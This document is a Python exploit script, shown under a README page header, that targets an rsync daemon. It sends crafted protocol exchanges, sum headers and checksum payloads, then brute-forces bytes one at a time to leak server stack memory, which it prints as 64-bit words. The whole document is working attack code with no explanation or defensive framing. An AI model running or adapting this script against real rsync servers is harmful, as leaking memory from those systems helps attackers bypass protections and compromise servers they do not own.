README.md
Rendering markdown...
#!/usr/bin/env python3
import socket
import time
# Exploit Configuration
# -----------------------------------------------------------------------------
HOST = "127.0.0.1"
PORT = 1234
MOD = "test"
# -----------------------------------------------------------------------------
PROTOCOL_EXCHANGE = b"@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4\n"
LEAK_OPTS = (
b"--server\x00--sender\x00-e.LsfxCIvu\x00--checksum-seed=42\x00.\x00"
+ MOD.encode()
+ b"/hello.txt\x00\x00"
)
HASH = b"xxh64"
UNKNOWN_NUM = b"\x04\x00\x00\x07\x00\x00\x00\x00"
NDX = b"\x01\x08\x80"
def send(sock, data):
try:
sock.sendall(data)
except Exception as e:
print(f"Send error: {e}")
exit(1)
time.sleep(0.05)
def recv(sock):
try:
reply = sock.recv(2048)
except Exception as e:
print(f"Receive error: {e}")
exit(1)
def pack(length, data):
return data.to_bytes(length, byteorder="little", signed=False)
def exchange_protocol(sock):
send(sock, PROTOCOL_EXCHANGE)
recv(sock)
def send_module(sock, module):
send(sock, module.encode() + b"\n")
recv(sock)
def send_options(sock, opts):
send(sock, opts)
recv(sock)
def send_hashlist(sock, hashlist):
send(sock, pack(1, len(hashlist)))
send(sock, hashlist)
recv(sock)
def send_unknown_num(sock):
send(sock, UNKNOWN_NUM)
def init(module, opts, hashlist):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect((HOST, PORT))
exchange_protocol(sock)
send_module(sock, module)
send_options(sock, opts)
send_hashlist(sock, hashlist)
send_unknown_num(sock)
return sock
def sum_header(count, blength, s2length, remainder):
size = len(NDX) + 16 + (count * (4 + s2length))
muxenv = 0x07000000 + size
hdr = pack(4, muxenv)
hdr += NDX
hdr += pack(4, count)
hdr += pack(4, blength)
hdr += pack(4, s2length)
hdr += pack(4, remainder)
return hdr
def parse_leaked_byte(sock):
try:
data = sock.recv(2048)
except Exception as e:
print(f"Fail to receive server reply: {e}")
exit(1)
leaked = int.from_bytes(data[23:27], byteorder="little", signed=True)
return pack(1, -leaked - 1)
def check_leak(sock):
try:
data = sock.recv(2048)
except Exception as e:
print(f"Fail to receive server reply: {e}")
exit(1)
size = int.from_bytes(data[23:27], byteorder="little", signed=True)
return size < 0
def leak():
leaked = b""
# We can leak up to 10 bytes with this method
for i in range(10):
sock = init(MOD, LEAK_OPTS, HASH)
recv(sock)
# sum header
payload = sum_header(256, 1, 9 + len(leaked), 0)
# checksums
for b in range(256):
payload += pack(4, 0x00680068)
payload += pack(8, 0xB7416DEA69E6E62E)
payload += leaked
payload += pack(1, b)
send(sock, payload)
byte = parse_leaked_byte(sock)
if i == 10:
byte = pack(1, int.from_bytes(byte, byteorder="little") + 1)
leaked += byte
print(leaked.hex(r" "))
# leak the rest of the bytes slowly
for i in range(46):
prev = len(leaked)
for b in range(256):
sock = init(MOD, LEAK_OPTS, HASH)
recv(sock)
payload = sum_header(2, 1, 9 + len(leaked), 0)
for _ in range(2):
payload += pack(4, 0x00680068)
payload += pack(8, 0xB7416DEA69E6E62E)
payload += leaked
payload += pack(1, b)
send(sock, payload)
if check_leak(sock):
leaked += pack(1, b)
print(leaked.hex(r" "))
break
if b % 16 == 0:
print(f"Trying byte {hex(b)}")
if len(leaked) == prev:
print(f"Failed to leak byte {len(leaked) + 1}")
return leaked
def print_stack(leaked):
for i in range(0, len(leaked), 8):
qword = leaked[i : i + 8]
qword = int.from_bytes(qword, byteorder="little")
print("0x{:016x}".format(qword))
if __name__ == "__main__":
leaked = leak()
print_stack(leaked)